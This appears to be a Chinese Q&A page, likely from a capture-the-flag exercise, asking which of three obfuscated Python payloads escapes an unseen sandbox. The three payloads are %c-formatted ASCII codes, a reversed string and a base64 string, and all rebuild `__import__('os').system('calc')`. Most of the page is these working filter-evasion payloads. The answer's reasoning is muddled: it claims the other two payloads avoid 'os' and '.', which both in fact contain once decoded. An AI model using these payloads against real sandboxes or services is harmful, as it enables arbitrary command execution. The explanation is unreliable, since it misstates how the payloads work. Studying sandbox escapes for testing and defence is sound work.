'%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c' % (95,95,105,109,112,111,114,116,95,95,40,39,111,115,39,41,46,115,121,115,116,101,109,40,39,99,97,108,99,39,41) (chr(37)+str({}.__class__)[1]+chr(37)+str({}.__class__)[1]+chr(37)+str({}.__class__)[1]+chr(37)+str({}.__class__)[1]+chr(37)+str({}.__class__)[1]+chr(37)+str({}.__class__)[1]+chr(37)+str({}.__class__)[1]+chr(37)+str({}.__class__)[1]+chr(37)+str({}.__class__)[1]+chr(37)+str({}.__class__)[1]+chr(37)+str({}.__class__)[1]+chr(37)+str({}.__class__)[1]+chr(37)+str({}.__class__)[1]+chr(37)+str({}.__class__)[1]+chr(37)+str({}.__class__)[1]+chr(37)+str({}.__class__)[1]+chr(37)+str({}.__class__)[1]+chr(37)+str({}.__class__)[1]+chr(37)+str({}.__class__)[1]+chr(37)+str({}.__class__)[1]+chr(37)+str({}.__class__)[1]+chr(37)+str({}.__class__)[1]+chr(37)+str({}.__class__)[1]+chr(37)+str({}.__class__)[1]+chr(37)+str({}.__class__)[1]+chr(37)+str({}.__class__)[1]+chr(37)+str({}.__class__)[1]+chr(37)+str({}.__class__)[1]+chr(37)+str({}.__class__)[1]+chr(37)+str({}.__class__)[1]+chr(37)+str({}.__class__)[1])%(95,95,105,109,112,111,114,116,95,95,40,39,111,115,39,41,46,115,121,115,116,101,109,40,39,99,97,108,99,39,41) ')"clac"(metsys.)"so"(__tropmi__'[::-1] __import__('base64').b64decode('X19pbXBvcnRfXygib3MiKS5zeXN0ZW0oImNhbGMiKQ==').decode()上面几个代码哪一个可以绕过上面的沙箱
时间: 2024-03-07 21:53:58 浏览: 52
第一个代码 `%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c` % (95,95,105,109,112,111,114,116,95,95,40,39,111,115,39,41,46,115,121,115,116,101,109,40,39,99,97,108,99,39,41)` 可以绕过这个沙箱,因为它实际上是将 `__import__('os').system('calc')` 这个字符串通过 ASCII 码转换后得到的结果。在沙箱中,`os` 和 `.` 被替换成了空字符串,因此可以通过将 `os` 和 `.` 的 ASCII 码添加到字符串中来绕过这个限制。
另外两个代码都是通过字符串反转和 base64 编码来绕过沙箱限制的,但它们并没有使用被替换的 `os` 和 `.`。
阅读全文